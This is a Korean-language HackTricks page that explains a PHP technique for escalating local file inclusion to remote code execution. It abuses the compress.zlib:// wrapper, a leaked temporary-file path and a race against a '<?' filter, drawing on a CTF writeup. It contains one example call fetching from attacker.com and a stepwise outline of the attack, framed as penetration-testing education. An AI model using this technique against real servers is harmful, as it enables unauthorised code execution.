LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요

HackTricks를 지원하는 다른 방법:

WhiteIntel다크 웹을 기반으로 하는 검색 엔진으로, 회사나 그 고객이 스틸러 악성 소프트웨어에 의해 침해당했는지 무료로 확인할 수 있는 기능을 제공합니다.

WhiteIntel의 주요 목표는 정보를 도난하는 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.

그들의 웹사이트를 확인하고 무료로 엔진을 시도해 볼 수 있습니다:


compress.zlib://PHP_STREAM_PREFER_STDIO

플래그 PHP_STREAM_PREFER_STDIO를 사용하여 프로토콜 compress.zlib://로 열린 파일은 나중에 도착하는 데이터를 동일한 파일에 계속 기록할 수 있습니다.

이는 다음과 같은 호출을 의미합니다:

file_get_contents("compress.zlib://http://attacker.com/file")

다음은 http://attacker.com/file을 요청하는 요청을 보낼 것이며, 서버는 유효한 HTTP 응답으로 응답할 수 있으며, 연결을 열어둔 채로 나중에 추가 데이터를 보내 파일에 기록할 수 있습니다.

당신은 main/streams/cast.c의 php-src 코드 부분에서 이 정보를 볼 수 있습니다.

/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

Race Condition에서 RCE로

이 CTF는 이전 트릭을 사용하여 해결되었습니다.

공격자는 피해 서버가 공격자 서버에서 파일을 읽는 연결을 열도록 만듭니다. 이는 compress.zlib 프로토콜을 사용합니다.

이 연결이 존재하는 동안 공격자는 서버에 의해 노출된 임시 파일이 생성된 경로를 외부로 유출할 것입니다.

연결이 열려 있는 동안 공격자는 자신이 제어하는 임시 파일을 로드하는 LFI를 악용할 것입니다.

그러나 웹 서버에는 <?를 포함하는 파일을 로드하는 것을 방지하는 확인이 있습니다. 따라서 공격자는 Race Condition을 악용할 것입니다. 여전히 열려 있는 연결에서 공격자웹 서버가 파일이 금지된 문자를 포함하고 있는지 확인한 후내용을 로드하기 전에 PHP 페이로드를 보낼 것입니다.

자세한 정보는 https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer의 Race Condition 및 CTF 설명을 확인하십시오.

WhiteIntel다크 웹을 통해 동작하는 검색 엔진으로, 회사나 그 고객이 스틸러 악성 소프트웨어에 의해 침해당했는지 무료로 확인할 수 있는 기능을 제공합니다.

WhiteIntel의 주요 목표는 정보를 도난하는 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.

그들의 웹사이트를 방문하여 무료로 엔진을 시도해 볼 수 있습니다:

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 AWS 해킹을 마스터하세요!

HackTricks를 지원하는 다른 방법:

Last updated